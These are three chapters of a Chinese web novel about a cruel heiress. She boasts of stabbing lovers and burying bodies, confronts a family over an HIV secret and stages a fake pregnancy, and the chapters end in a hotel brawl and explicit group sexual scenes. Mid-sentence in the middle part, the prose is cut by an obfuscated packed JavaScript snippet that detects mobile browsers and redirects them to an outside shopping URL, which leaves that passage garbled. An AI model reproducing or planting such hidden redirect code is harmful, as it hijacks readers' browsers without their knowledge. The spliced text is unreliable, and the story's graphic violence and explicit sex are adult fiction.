“你知道么,在上海时,跟我上床的每个人,女人、男人,都被我拿刀捅过。像这样——”台静怡不知从哪里揪出一个刀片,将其抵在姜骁的腹前。 “事前签了协议的,纯属自愿。出了事就赔钱,赔的那点钱,连我余额里的零头都算不上。” 姜骁拍掉刀片,“你还有杀人的癖好?” “他们让我不高兴,难道不该濒死一回。” 台静怡的黑长直打在姜骁的颧骨上面,“有的爱吃醋,有的爱搞事,有的爱胡思乱想……都是作的,欠收拾。把他们推下楼梯,让他们骨折;踩着他们的伤口,让他们哪怕疼到昏厥也不敢反抗;夏天,让他们在太阳底下面对面站着,互扇巴掌;冬天,让他们脱掉衣服在雪地里罚站……” 姜骁评价道:“大小姐式‘杀熟。’” “因为那些不熟悉且让我不高兴的人都死了。”台静怡拨出一缕头发,往姜骁脖侧扫着。 “我七岁那年,爸妈出了车祸,当场去世。司机肇事逃逸,了解到两位死者的背景后,司机吓得把自己的亲朋好友都叫到一个屋里,喂他们喝了安眠药,之后关紧门窗,烧炭自杀。一共死了十六个人,不死又怎么办,比起被豪门无差别报复,还是自杀更痛快。” “十六具尸体被运到老宅,埋在花园里。如果将来你有机会能去那座老宅里修电路的话,一眼就看到花园里的花开得多么灿烂。遇上暴雨天,园土被雨水冲刷流失,有概率能看到埋在土里的人骨。颅骨、胸骨、髌骨,零散的骨骼一览无余。” “这些年来,尸骨数量一直在慢慢增长,得罪我的、冒犯我父母的、挡台家路的,那些人都在鲜花底下长眠。不过大多时候,都是他们对妈妈有不敬在先。” “你的眼神,有时和妈妈特别像。” 台静怡揽住姜骁的脖颈,“所以你对我唯二的价值,是修电路和当妈妈的替身。” 还有一项价值,用他把舅舅逼来。不过因为成事在即,台静怡没专门拿出来说。 姜骁听得眼神发虚。 台静怡像在讲故事一样,那故事让他分不清是真是假。 他思绪混乱,忘了问回原本他最想问的:“我妈辞职这件事的实情是什么。” ** 隔天,司机小程把车开到一家传染病医院前,朝在后排坐着的台静怡点头示意。 严格讲,作为邢铎的专属司机,小程并不负责台静怡的日常出行。 不过邢铎最近忙着谈生意,没时间在台静怡面前刷存在感。因怕自己失宠,邢铎就让小程代替自己,时刻为台静怡效力。 小程开来的这辆保时捷卡宴,是邢铎的车库里最不起眼的一辆。不过今天要做的事不宜显眼,选这辆车也算适配。 小程屏住呼吸,“大小姐,医院里真的有你要找的人?” 台静怡笑他胆怯如鼠,“你的生理知识怎么学的。艾滋的三种传播途径:性传播、母婴传播、血液传播,这些你都忘了?” “这种病,但凡洁身自好都不会得。”小程语气鄙夷。 不久,台静怡摇下车窗,对不远处那个戴口罩的中年女人摆了摆手,“陈老师,这里!” 陈青走近,“你认识我?”看了台静怡几眼后,她恍然大悟,“棠棠,是你啊。” 她怎么可能不认识台静怡。 她的儿女疯狂追求着这位大小姐,她听了有关大小姐的许多新闻。今天见了面,简直与台静怡相见恨晚。这样有特色的女孩子,怎么就不是她生的呢。 台静怡不由分说地把陈青拉到车后排,对小程吩咐:“随便走走。” 随后,过分开门见山地朝陈青说:“爸爸和舅舅本身就患癌,又因为赌博欠债被捅了几刀,现在又得了艾滋,是不是都快要死了呀。” 这里的“爸爸”和“舅舅”,指的是陈青的丈夫和陈青的娘家弟弟。 台静怡是站在姜家兄妹的立场上,用孩子的角度去描述这件事。 “陈妈妈,你摘下口罩,别防着我。”台静怡朝陈青倾身,试图摘下她的口罩,“患癌得艾滋的又不是你。” 陈青猛地一躲,瘦弱的脊背抵上车门,眼神惊恐,“你都知道了……你怎么知道……” “有什么是我不能知道的。” 台静怡满不在意地勾起嘴角,漠视陈青的反抗,摘下她脸上的口罩。 一张疲倦无力的脸庞被揭露出来。 姜家的秘密,是一种受人鄙夷的性病。 这类性病,令人闻风丧胆。哪怕了解传播途径,可当知道自己的亲朋好友与这类病有联系,99%的人都会选择远离。就像当年的乙肝一样,有了就是原罪,就要一辈子活在白眼里。 “这样坏的男人,就该不得好死。”台静怡挽住陈青的胳膊,“陈妈妈一直隐瞒着这件事,为此不惜把工作辞了,甚至与亲友都断了来往,过得很辛苦吧。” 陈青看着台静怡,“你想做什么。” “帮你出气,好不好。”台静怡说,“告诉身边所有人,爸爸和舅舅有性病,让所有人去讨伐他们俩。” 陈青果断道:“小姑娘,你心思太单纯了。外人知道某一家有性病,先想的不是了解实情,帮忙讨伐,而是翻个白眼臭骂,甚至无底线地造谣,谣言越传越厉害。” “没人会在意丈夫出轨□□,妻子受无妄之灾,孩子更是会活在无止尽的鄙夷里;也没人会在意所谓的传播途径,他们只会想:跟你呼吸同一片空气,会不会得病。跟你擦肩而过,会不会得病。” “没人在意你是不是受害者,你是否也是突然得知,身旁人得了这种病。他们只会谩骂,用他们的眼神和动作告诉你:你必须以死谢罪。” “何止是爸爸和舅舅将死,妈妈更是在加速走向死亡。”陈青看着台静怡,“小姑娘,宣告一切并不是在帮我,而是在毁掉我。” 在台静怡的平静下,陈青后知后觉,也许台静怡本来就想毁掉她与姜骁姜萱,毁掉这个半死不活的家。 “不觉得不公平么。”台静怡问道。 陈青神色麻木,“的确不公平。□□、赌博,爽的是男人。即便后来要付出代价,起码也曾‘享受’过。女人明明什么都没做,却也要被连带,付出更惨痛的代价。爸爸和舅舅撑不过这个夏天,死亡对他们来说是种解脱。人死事消,但我的不甘、孩子的不解,要朝谁发泄,又能向谁索要补偿。” “今年,姜骁直播赚了大钱,姜萱在一所211学校里拿到保研名额,我也晋级评了职称。明明家里一切向好,可这事一出,一切都被毁了。我心里郁闷,教学不上心,自己干脆辞了职,不敢耽误学生。”陈青苦嘲,“我不敢把实情告诉孩子,自己一直瞒着,瞒得的确很辛苦。” “棠棠,你能对我这个妈妈有点怜惜吗?” 陈青问她,“你帮我一起保守这个秘密,好吗?” 陈青握住她的手,“棠棠,妈妈很辛苦。” 台静怡盯着陈青那双瘦鸡爪似的手。 如果她的妈妈能活到现在,年纪应该跟陈青差不多大。 如果她的妈妈遭遇这桩糟心事,会跟陈青一样,头发近乎全白,眼神黯淡无光,瘦骨嶙峋。 如果她的妈妈跟陈青一样,走投无路,苦闷酸楚无处倾诉,只能打碎情绪自己咽…… 如果,陈青是她的妈妈。 台静怡把陈青捞到怀里,犹豫了下,“他们内部肯定有自己的暗网,黄赌毒一条龙服务打通。就像传销那样,上线拉下线,下线再拉下线。我会尽快把网揪出来。” 陈青在台静怡怀里痛哭。一个孤立无援的中年妇女,很久没享受过这样温暖的拥抱了。 台静怡不可置信。事情的走向怎么突然光辉伟大起来了。 她原本想通过拿捏姜家的秘密来毁掉姜家,好满足她的恶作剧之心。 姜家兄妹无法阻止她的作恶,但当与陈青见面,听了一个母亲的心声后,她突然就愿意匀出些良心,分给这位母亲。 这种做“救世主”的感觉很新奇,台静怡左思右想,最终把行为背后的逻辑归为:恋母恋的,想妈妈想的。 因为极度渴望占有母亲,所以不免对天底下的母亲都多了份同理心。 然而她又不愿意把“恶毒”轻拿轻放,又是一番左思右想,最终把作恶目标指向姜骁。 姜骁有一种薛定谔式的清高,主观上,不愿意与权势者为伍,对上流人的风流多情、为非作歹、随意挥霍表示不屑,只想尽好小市民的本分。 但当有一位上流人完美戳中他的XP,即便那位是渣女恶女,是藐视一切的大小姐,他也要冒着必将失去的风险,与之周旋共舞。 这样矫揉造作的男人,活该承受来自她的恶的发泄。 ** 车开到路边,再往前走一段路,就是陈青住的那个小区——因为家里的事,近来她与兄妹俩分房住。 送走陈青,台静给小助理发了消息,让小助理联系公安系统,着手查起获县这边的地下暗网。 “到时论功绩,就说是热心市民某女士匿名举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249047|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报,一定要强调是位女士,别让媒体张冠李戴写成‘某男士’。”台静怡对小助理交代道。 坏事不留名,好事传千里。对于陈青来说,能以女性身份站在无罪的那一面,即使不暴露自己的姓名,也算是一种被看到、被承认的荣誉。 不知道什么时候把李欣从黑名单里拉了出来。台静怡心情正好,愉快应下李欣递来的约饭邀请。 之后去到饭馆,饭菜还没端上桌。 李欣坐在靠窗的位置,一面翻阅书籍,一面做读书笔记。 台静怡慢慢凑到她背后,冷不丁出声,“还在看《红与黑》?你不是看过一遍?” 李欣被吓了一跳,颤着声回:“常看常新。” 台静怡坐到李欣对面,发现李欣的发型不再是马尾辫,而是一头蓬蓬的卷发。还化了个淡妆,底妆贴合度高,完全没有卡粉的迹象。穿搭也不再是以往的休闲风,穿了件版型很好的背带裙,胸前还别了个“等饭中”的胸针,很是青春靓丽。 “你很好看。”台静怡支着脑袋夸赞,“最近有什么喜事吗?” “太多了。”李欣耳根发红,视线乱瞟,羞于与台静怡对视。 在她的劝说下,李妍终于愿意回学校读几天书。补课期间的某场模拟考试里,李妍从年级倒一上升到了年级倒一百。她很开心,对李妍说:“每次考试都进步一百名的话,考上好大学不是问题。” 李妍对她的夸赞很受用,倾尽全部技术,教会她化妆与穿搭。果真人靠衣装马靠鞍,她这么一打扮,终于不再像乳臭未干的小孩,而像一个朝气蓬勃的青年人了。 再有就是,台静怡把她解除拉黑。她终于又能和台静怡分享文学、哲学与宇宙的奥妙。 “点了一大桌菜,可能上菜会有点慢。”李欣把手边那本《红与黑》推给台静怡,“你要看吗?” 台静怡把书籍回推给李欣,反手拿起李欣的读书笔记翻阅。 “我不在意司汤达怎么写,怎么想。我在意的是你怎么写,怎么想。” 李欣略略脸红,低声嘟囔,“听起来好暧昧。” “我一直都觉得你很像书里的主人公于连。”台静怡诚恳道,“出身不好,性格自卑脆弱,很在意别人的看法。唯爱拿破仑式的英雄主义,野心很大,不满底层人的生活环境,想往社会上层爬。为了出人头地,会冒险做一些不道德的事。可又不是纯粹的恶人坏人,恶毒写在脸上,使坏也很小儿科。” 李欣的笑容僵在脸上,“我哪有不道德。” “自由心证喽。”台静怡,“你认真想想,总会想到的。” 李欣咽了口白开水,很不自在。 她是有过不道德。 她曾拙劣地调查过台静怡的背景,在台静怡来获县之前,她真诚祈求,那个素未谋面的大小姐最好是个天真烂漫、单纯懵懂的傻白甜。 傻白甜好拿捏,能更快变成一架支撑她向上攀爬的梯子。不需做什么感天动地的大事,只要适时表露出一种“想与你做朋友”的真诚,傻白甜就会上钩。 李欣的确这样做。 得知台静怡来了获县,她——人事部里受欺凌的小透明,自告奋勇地去接待台静怡。 听见工位外的吵闹声,她主动解释外面是厂里的“黑恶势力”,又流露出一些被霸凌者的脆弱,以此博取台静怡的同情心。 明知厂里的事故出自谁的手笔,她还是佯装不知,给台静怡主动提起事故的最新进展。趁此机会,更近距离地研究台静怡的性情。 然而她的一切心机与手段,就像台静怡说的那样,“写在脸上”、“小儿科般”。 “于连被说是典型的‘凤凰男’、‘吃软饭’。当男小三,引诱夫人出轨。后来又用他的疯批与野心,吸引到一位欣赏他的野心,且同样是疯批的小姐。夫人是他的‘红’,小姐是他的‘黑’。他就这样,痛苦着,拧巴着,男女交.欢着,自我奋斗着,一步步往上爬。”李欣说,“这是目前我没有的部分。” “可于连最后被处死了,他失败了。”台静怡语气戏谑,犹如逗狗,“你呢,你会失败吗?” “你会像他那样,既没能完全放弃追名逐利去实现理想,也没有存有足够的勇气与魄力,好能在名利场里一条路走到黑;最终颠倒在红与黑,理想与现实的世界里,不断被各种矛盾撕扯,直到变得面目全非吗?” 李欣不赞一词,沉默许久。 “我希望你会。”台静怡忽地笑出声,“女士们能够挤入上流社会,哪怕只是短暂地刷个脸,也好过窝在底层坐井观天。” 然而那个能够通过个人英雄主义式的奋斗来出人头地的时代,俨然是过眼云烟,是一个被新时代抛弃的旧脚本,要想顺利运行,简直难于登天。 台静怡却仍旧保留期待,也许李欣真的能够实现阶级跨越。 那样,再有趣不过。 李欣原本也有期待,可被台静怡这么一问,心里忽然没了底。一时心不在焉,接下来持续一个小时的吃饭时间也是浑浑噩噩地度过。 吃完饭,台静怡回起邢铎的消息。 邢铎说,明天舅舅会飞去其他市出差,处理业务,问她想出计划对付舅舅没有。 台静怡回:“有计划,虽low但一定管用。” 想到明天将发生的事,台静怡翘起嘴角,对李欣说了个时间和地点,“明天这个点来这里见我,有好戏看。” “约在某家宾馆相见,听起来像是要去看一场抓奸。” 李欣不小心把心里话说了出来。 “也可以这么理解。不过抓的是自己的奸。”台静怡说。 李欣又不小心说出心声,“是要我看你跟别的男人开房?不行,不行!未免太open!” 台静怡没再多说,起身离去,背影融入一片白生生的阳光里,坚毅又果敢。 多么史诗感的一幕。 李欣痴汉似的,对着台静怡的背影犯花痴。 台静怡却很实在,给姜骁发了条消息,让他明天某时去某地,带好套。 姜骁问她想干嘛。 台静怡:“开房,睡觉。” 12.Chapter 12 开房地点:迎宾馆3025标准间。 入住至退房时间:当天12:00—18:00 隔日订完宾馆,姜骁先回家一趟,把自己从头到尾洗涮一遍。站在淋雨喷头下,他哼起王菲的那首《棋子》,把沐浴露泡沫涂满全身。 隔着朦胧水花,他站在纯主观角度评价自身的器官。 他是那种上翘的粉,头部钝而满,自带一种老实的憨感。 前段时间他还做了蛋皮除皱与粉嫩,做完以后,褶皱浅了没了,盘起来手感很好。 姜骁满意地勾起嘴角,到时台静怡问起他怎么这么粉,他就说是老天爷赏饭吃。 其实她问不问也没那么重要,主要是自己看到心情会好。躺上冰冷的手术台,度过灰暗的恢复期,都是为了取悦自己。毕竟男人要想狠,全身都得粉。 洗完澡,他往腹部贴了个防水霪.纹贴。之后穿好衣服,把一盒panther3L放在黑色背包里,里头还有一些会用到的东西,如吸水垫、干净衣裳等。 他站在镜子前打量自己,本次OOTD是酷哥男大风,出门会让路人直犯“潮人恐惧症”,直呼“太潮了,风湿都要犯了”的那种风格。 自我陶醉完,姜骁带上家门钥匙,抱着必出神图的决心,迈着超经意的步伐,水灵灵地奔去目的地。 ** 宾馆标准间里。 姜骁踩点进屋,他来得已经够早,没想到台静怡比他更迫不及待,这时已经躺在床上,那双刚做完美甲的手正拿着手机,噼里啪啦地敲字,像在给谁发消息。 姜骁把背包解下,先详细检查一遍屋里有没有摄像头——尽管他在订房时就已经检查过,也确信台静怡来的时候也检查了一遍。 接着又去洗浴间冲了身,热水迅速把每寸肌肤的活力都激发,他感到自己像新媳妇见公婆一样羞怯。怕台静怡不满意,将他丢弃;又怕她太满意,会将他折腾到要去医院的程度。 他还是第一次。 洗浴间是一个半透明的空间,从外面能看到里头有一个花枝招展的男人,在里面竭尽全力地自我陶醉着。 台静怡收回目光,对舅舅发了条消息:“舅舅,我怀孕了。” 随后开启手机的免打扰模式。 等姜骁裹着浴巾出来,就见她换了身小恶魔装,头戴恶魔发箍,手里拿着一根细长的恶魔棒,对他呵斥道:“哪来的魅魔,看我不吃了你!” 还玩角色扮演那一套呢。 姜骁似被电了下,浴巾超经意地划落,用上翘的粉抵抗恶魔攻击。 “本狗实在冤枉!”姜骁狗爬过去,声情并茂:“恶魔大人说我是魅魔,可有什么证据?倘若空口诬陷,本狗绝对上告官府,让青天大老爷为狗狗做主!” 好家伙,还是中西合璧。 台静怡用那根恶魔棒指着他腹部的黑纹,慢慢下划,敲了敲那个钝钝的头,“这就是证据!” 姜骁哆嗦一下,笑出声,“不行,演不下去了。你拿的是什么东西,凉凉的,以前从没见过。” 台静怡把套扔到他手边,“你先戴上。这根棒棒,是后半程要玩的。” “进程这么快?”姜骁把她抱到床上,“按照常规流程,这时候应该是前……唔……” 台静怡搂住他的脖颈,率先堵住他的嘴。 姜骁撕开她的恶魔裙,这时才恍然大悟—— 原来台静怡才刚跟别的男人玩过!难怪不需要任何铺垫,原来是根本没玩尽兴,来找他续感觉了! 台静怡拍了拍他的魅魔纹,并说:“两个小时哦,一分一秒都不能少,也不能多。” 她很在乎“两个小时”的时间观念,像是很赶时间,又像是还没那么赶,可以走走停停,但不允许过度松散。难道两小时后有人会来? 姜骁不满意她的时间观念,“对我的第一次好一点,拜托了。”不然很像交公粮。 当然他拗不过她,后半程他终于知道那个恶魔棒的用途。 她说她对男人,一向是又控又责。她让他选,更喜欢控还是责,两者基本是“事前”与“事后”的区别。 男人嘛,事前哪管事后事,宁可被花式责,也不肯被控。 当然事后他无比懊恼,在打开新世界大门的同时,也不由得化身一个行走的花洒,吸水垫都挡不住的水量。 “这么粉,不就是用来责的。”台静怡兀自坐到另一张干净的床上。 “不过你的体质简直可怖。小狗要是再管不住,主人就要把你骟啦。” 姜骁如同一个被搓皱的、失去弹性的塑料袋,哗啦着、哗啦着,爬到台静怡身旁。 “我得缓一会儿。”姜骁趴在床上,无助地搂住枕头,“哪有你这样的主人,一点都不会养狗。” 台静怡扇了下他的侧脸,“你这样的狗,不是用来养的,是用来……” 她俯身凑近,“做X奴的。” 正说着,她的手机屏幕突然亮了下。 此刻是下午2:20,刚好过去两个小时。 得益于免打扰模式,舅舅给她发来的99+条未读消息,打来的99+未接电话,都被温和地隔绝在外。 取消免打扰模式后,登时有一个微信视频电话打了过来。 姜骁偏头,看见台静怡把视频转语音,又摁下免提键,接了这通电话。 电话那头传来一道陌生男人的声音。 “胡乱找男人?” 姜骁挑眉,这又是哪个狗在查岗。 台静怡笑道:“找男人?刚才是在跟狗玩巡回游戏。” 姜骁戏谑地吹了声口哨,被台静怡重重扇了一巴掌。 “什么?你说我有点喘?”台静怡把手机放到床上,双腿跨开,骑在姜骁的背后,给他戴上一个狗项圈,“因为校园跑刚跑完。正运动呢,没事挂了。” 姜骁被勒得连连咳嗽,“大小姐……暑假期间,哪来的大学生校园跑。” 台静怡把项圈链往后拽,让姜骁不得不抬头朝后仰。 “嘻嘻,你管我。”她用手肘钳住姜骁的脖颈,“暑假期间,我还能骑马上草原呢。你信不信,驾——” 多么令人眼前一黑的荒谬场景。 电话那头沉默几秒,随后又说道:“戴套没。” 有要捉奸的架势! 姜骁激烈挣扎起来,极其不愿意当场出丑。当然他的挣扎也没能激烈到哪里去,他本来就是个被消耗掉的废弃品,被吞掉了第一次,只剩下一地没有处理的狼藉。 “算了……”电话那头的声音低了下去,旋即,敲门声清脆响起。 “开门,社区来给你新养的小狗送温暖。” ** 五分钟前。 李欣按点赴约,来到3025门前。 却发现,打着石膏拄着拐的前担哥沈锡承,和另一个她不认识的西装精英男,抢先一步等候在此。 西装精英男转过身,话声尾音上翘而生涩。 “你好,我是棠棠的舅舅,秦述。” 李欣被他睨了一眼,霎时稍息又立正,差点给他把头磕。 好……好强的正宫气场! 此熟男五官深邃得像古希腊的雕塑,有点中外混血的意思。只要曾看过此男的脸,那在看不到的日子里,就会抓心挠肺,蚂蚁爬身般的瘙痒,口鼻窒息般的难受。 贵气的西装底下,是宽肩大胸窄腰大长腿,身材比例好得能让一堆博主发视频分析:他的比例到底有多老天赏饭吃。 大街上会有很多个普通帅哥,偶尔随机刷新出一个姜骁、沈锡承那样有特色的帅哥,但像秦述那样的男人,一万万人里也挑不出一个。 “我……我是李欣。” 李欣在心里疯狂磕着甥舅CP,“你们来这里做什么?” 沈锡承移开视线,做狗心虚的模样。 秦述冷哼,“捉奸。” 然后给台静怡打了个电话。 李欣恍然大悟,原来台静怡玩的是雄竞修罗场那一套! 几十秒后,秦述敲响3025的屋门。 台静怡装傻的声音从屋里传出:“是保洁嘛?进来随便扫扫就行,出去把门带上!” 李欣在心里为台静怡的高超演技鼓掌,“那我们要不就……”一起进去“捉奸”? 秦述又是一声冷哼,“老套的小把戏,竟然玩不腻。” 秦述刷了下房卡,就在李欣以为仨人会和和气气地进屋时,秦述忽地抬起他那性感的大长腿,一瞬横扫而过,猛地踹上屋门! 踹了一下,接着是两下、三下! 一踹起来,就发狠了,忘情了,没命了! 动作狠戾,如猛虎下山,偏偏又带着一种精致的优雅,像一流打手行云流水地使出百般招式,多么壮阔,多么矫健! 没踹几下,屋门“轰”一声倒塌。 李欣:“嚯!” 沈锡承:“嚯!” 俩人默契对视,原来“出去把门带上”等于“把门卸掉带走。” 屋里,姜骁一副没经验的小三做派,慌里慌张地穿上衣裤。 听见响彻云霄的踹门声,他不禁问台静怡:“你确定门外是保洁,不是跟你打电话的那个男的?” “他哪能来的那么快。”台静怡佯装不知情,“他就是故意吓唬人的。你放心,外面一定是保洁。” 话音刚落,屋门就被踹飞了。 台静怡尴尬地笑了笑,“看来那保洁不是娇滴滴的人,有的是力气和手段。” “保洁?”秦述迈着捉奸的步伐走来,“你就是这么介绍我的。” 姜骁抬头看愣。即便同为公.狗,他还是被此男帅得不知所措。 好……好强的正宫气场!两相比较,自己就像没经验的毛头小子,不入流的小三做派! 他本能看向台静怡,台静怡却不知在什么时候捞起被子,钻进被窝,背对几人,一副认怂的鸵鸟模样。 李欣、沈锡承目瞪口呆:大小姐,你在演哪一出! “你谁啊,有什么资格私闯民宅。”姜骁自我鼓劲,拿起手机准备报警,“光天化日的,你这老男人一点边界感都没有。人家小情侣开房,关你屁事!” 越说,他劲头越足,一串戳心的脏话嘟噜而出。也是初生牛犊不怕虎,在还不知道秦述的身份时,他莽得像个傻小子。 当然,也是越说越不要脸。开局一张嘴,过程全靠吹。明明他和台静怡没什么关系,结果在他口中,俩人简直是在天愿作比翼鸟般的1v1纯爱情侣,不知道的还以为俩人有多么情深。 秦述越听,眼睛越红,拳头越紧。他咬牙切齿地问台静怡:“就是这小子把你弄成那样的?你都那样了,还跟他做这种事?” 台静怡戏精上身,搂着被子极力瑟缩,“我不知道!我什么都不知道!当事人现在表示非常后悔!” 李欣、沈锡承呆若木鸡:大小姐,你又在演哪一出! 姜骁虽没有头绪,但不允许秦述斥责 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“卧槽……”姜骁大开眼界,“哥们,是你先找茬的好吗?我还没说你是从精神病院里跑出来的甲级战犯,你倒是先地域黑起来了!” “我先找茬!”秦述揪着姜骁的头发往外拽,“对,是我不让你戴套,让你把人家小姑娘搞到怀孕!” 姜骁怒而跳起,以他地痞式的散打拳,对抗秦述的专业泰拳。俩人同样怒发冲冠,同样怒不可遏,从屋东打到屋西。 中途不知道是谁把沈锡承拄的拐杖捞来当武器,猛猛朝对方脑袋上砸。沈锡承一怒之下,加入战局,并喊出作战宣言:“千万不要小看一个瘸子啊!” 三个男人扯头发、打花瓶、砸椅子、脏话频出,场面极其混乱,犹如身临《小时代》扯头花拍摄现场。 李欣到处躲避,突然发现藏在被窝里的台静怡双肩颤抖,像是渣女在流泪悔恨。然而等凑到跟前,却发现台静怡是在憋笑,憋得双肩颤抖。 “棠棠,你……” “我就是突然想到,之前在韩国也有过这种大乱战情况。那边的男人,哈哈哈……” 台静怡笑得肚疼,“那边的男人,一口一个西八。‘西八呀!’‘喏米求搜!’简直空谷传响,西八不绝。” 她把手机扔给李欣,“你去相册里找找,应该能翻到我当时拍的照片和视频。” 李欣心里还想着“怀孕”那事,但又不好回绝,于是便翻起台静怡的手机相册。 好家伙,全是18X驯狗内容,宛如在浏览一个不会弹出安全提示的18X网站。 李欣拿着手机坐到一边,看得津津乐道。 过了会儿,邢铎带着小程迟迟赶来。 台静怡在心里评价:“差点吃屎都吃不上热乎的。” 邢铎尚没搞清情况,热心肠地拉架,扯住秦述的胳膊往外带。 “她舅舅,你这是在发哪门子的疯?” 秦述的西装外套被姜骁撕走,鞋子又被沈锡承踩掉一只。 此刻他理了理雷打不动——其实是提前喷了半瓶发胶的头发,“台棠棠怀孕了,这事你知道吗?” 邢铎、小程、姜骁、沈锡承、李欣:“什么?!” 邢铎说秦述瞎扯淡,“她前天才跟我做过。” 姜骁说秦述发臆想,“她昨天才跟我妹做过。” 李欣:“什么?她跟你妹妹做了?” 沈锡承白李欣一眼,“她是双,男女不忌,你不知道?” 邢铎一时头脑风暴,过了两秒恍然大悟。 噢,原来台静怡先前提到的,那个能把秦述逼来的low但管用的计划,是谎称她自己“怀孕”啊。 秦述还没反应过来这是场骗局。 他入局已深,掐着姜骁的脖颈,把姜骁带到邢铎面前,“邢铎,你就继续撒手不管吧。今天是怀孕,明天是妊娠,后天是一胎二胎……你继续不管,等她都当姥姥了你也别管!” 姜骁的短袖在刚才的打斗中被撕得精光,腹部的霪.纹裸露在众人面前。 即便知道此刻是逢场作戏,可邢铎还是被秦述的话语催动出一种“嫉妒”的情绪。“小姜,你玩得挺花。” 姜骁试图朝邢铎解释,“你信我,我真的结扎了,且全程戴套……我没把她搞怀孕,而且我确信,她真的没怀孕!” 没有短袖遮挡,姜骁上半身的吻痕全都慷慨地裸露在外。 没有男人不嫉妒这种吻痕,尤其是秦述。 不知是谁先动了手,总之又一场大混战拉开序幕。这次是个人战,他们彼此嫉妒、彼此艳羡、彼此憎恶,不论资历经验、不谈人情世故,出拳、扇巴掌、踢□□,怎么狠怎么来…… 忽然,一阵吟声传出。 男人们一起停手,朝床上那个不断蛄蛹的被窝看去。 李欣放下手机,试图关怀,“棠棠,你还好么。” 台静怡突然从被窝里伸出脚,脚腕愉快抬起,脚趾在半空绷住,蜷缩。然后半截腿肚也划了出来,一阵颤抖。 秦述率先走近,掀开被窝。 小程着急忙慌地把舌缩回,却因此让台静怡抖得更厉害。 “谁让你给她舔的!”邢铎气冲冲地走来,尽数抹掉小程脸上的水渍,塞到自己嘴里品尝。 秦述俯身,热气打在台静怡的腿根。 “起来,舅舅带你做B超。” 却被喷了一脸水。 13.Chapter 13 在适宜午休的时间,凶犷的夏天进入孤芳自赏阶段。屋楼在高温里扭曲翻腾,肉红色的太阳挂在天上,被热辣辣的光线一照,那太阳也成了一吨霪.靡味的太阳。性被晒得落了实地,成了卡在床单褶皱里的不明水迹。 而转头又有一股新鲜水喷在秦述的下巴颏,他下意识地张起嘴唇,这种事已经形成肌肉记忆。 口腔里熟悉的味道终于令他安心,丁克般的安心。 秦述心里了然,不动声色地灌了台静怡几杯水,“做B超要提前憋尿。” 台静怡的小腿肚还在抖,脚把床单蹬得稀绉。 其实大家不必矜持,明明都想喝她的,在小程被撵走后,大可以排队接续上去。而非像现在这样,让她舒服,却也不是登峰造极的舒服,反倒不上不下的,痒痒。 台静怡郁闷地捂着小腹,尽职尽责地演戏,“啊……我的孩子……” “被我吃了。”秦述派自己的中指和食指前去勘察,“里面还有孩子的残肢断臂,干脆一并挖出来吃了。”最好别勘察出什么可疑的东西,否则他会当场把姜骁骟了。 他不怎么信姜骁的话。没怀孕是没怀孕,但其他该做的措施是否都做了,尚是未知。 于是他不留情面、大公无私地勘察,完全忘了此刻是在众目睽睽下,也忘了台静怡的呼吸声本就没平稳下来,更忘了台静怡本质就是个爱玩的小姑娘,根本经不起这种突飞猛进、颠若地震式的勘察。 “别……舅舅,真的没了……唔!” 台静怡忽把腰抬起,小腿在半空蹬来蹬去,动作有一种无助的优雅,宛如在做普拉提。 秦述的手被挤了出来,与之一同被挤出来的,只有一捧清清白白的水。 “别欺负她!” 姜骁老好人的性格作祟,眼睛瞪得通红,一瘸一拐地走来挑衅。不过没走几步,就被小程拦住。 “你又是谁?”姜骁眨着肿成核桃壳的眼,愤怒地揪住小程的衣领。 小程挂搭着脸。刚刚没喝到台静怡的,他心里本就郁闷。此刻遇到姜骁找茬,二话不说,直接左勾拳右踢腿,把被截胡的不爽都发泄到姜骁身上。 姜骁莽劲足,心一横就是干。他抡起胳膊,一巴掌扇到小程脸上。小程当仁不让,对姜骁重拳出击。俩人你追我赶地厮打起来。 邢铎把拐杖递给半残废的沈锡承,又把正在旁观的李欣叫来,塞给她一张卡。 “你俩下楼去找宾馆老板,把赔偿费和封口费给够。”邢铎瞥向沈锡承,“这种事你应该熟悉,认真做,不能出茬子。” 送走俩愣头青小孩,邢铎又把扫帚棍折成两半,一半抡中小程的后背,一半抡中姜骁的腿。 姜骁霎时失去所有力气和手段,单膝跪倒,鼻青脸肿,血流不止。 到现在,他的狗脑袋仍没有转过弯,还以为是台静怡被欺负了,殊不知真正吃大亏的是自己。 有几个壮汉保镖走进屋,静听邢铎发令。 邢铎则走到洗浴间里,打着洗手液,颇有格调地用七步洗手法来洗手。 “小程,你带着姜骁去市里的医院包扎。这次不用你开车,有保镖专程护送。” 把小程和姜骁解决后,邢铎打扫起一片混乱的现场。 秦述用抽纸把台静怡身上擦干净。 “没时间让你洗个澡再去做检查,先将就着。” 说着,他瞪了邢铎一眼,“天塌了才知道去补天,你是没长眼的死人吗?说你没长眼,你是真没长眼?别扫那地了,过来给孩子换衣服。” 身为老天津卫,邢铎最不缺捧哏、逗哏的实力。可在秦述面前,他总是顿失说话、说好话、多说好话的能力。没什么好说的,俩人遇难时是队友关系,没难时是情敌关系,谁都不把谁放在眼里,多说一句都生气。 邢铎把秦述丢的那只皮鞋踢来,又提起秦述带来的那个袋子,走到床边。心里惊叹,秦述的脸皮厚度、心思深度竟已修炼到炉火纯青的地步,捉奸时还不忘给人带来一身替换衣服,想得当真周到。 袋子里装有一套干净的内衣裤、一件古着吊带裙、一双高跟凉拖。 台静怡扒着脑袋瞥了眼,“都给我搭配好了。” “你有什么想说的,尽快说。”秦述看着腕表上的时间,“六点在南京有个会。待会儿陪你检查过,我就走了,以后不会再来这里。再遇到什么事,你直接回上海,让老宅那边的人帮你解决。不要再像今天这样,莫名其妙地把我叫来。” 邢铎正给台静怡系内衣扣,闻言,不解地挑了下眉。 “明明知道怀孕这事是乌龙,那拉她去做B超,有什么必要。” 秦述揉着台静怡的腰窝,“麻烦您高抬贵腰,穿上内裤。” 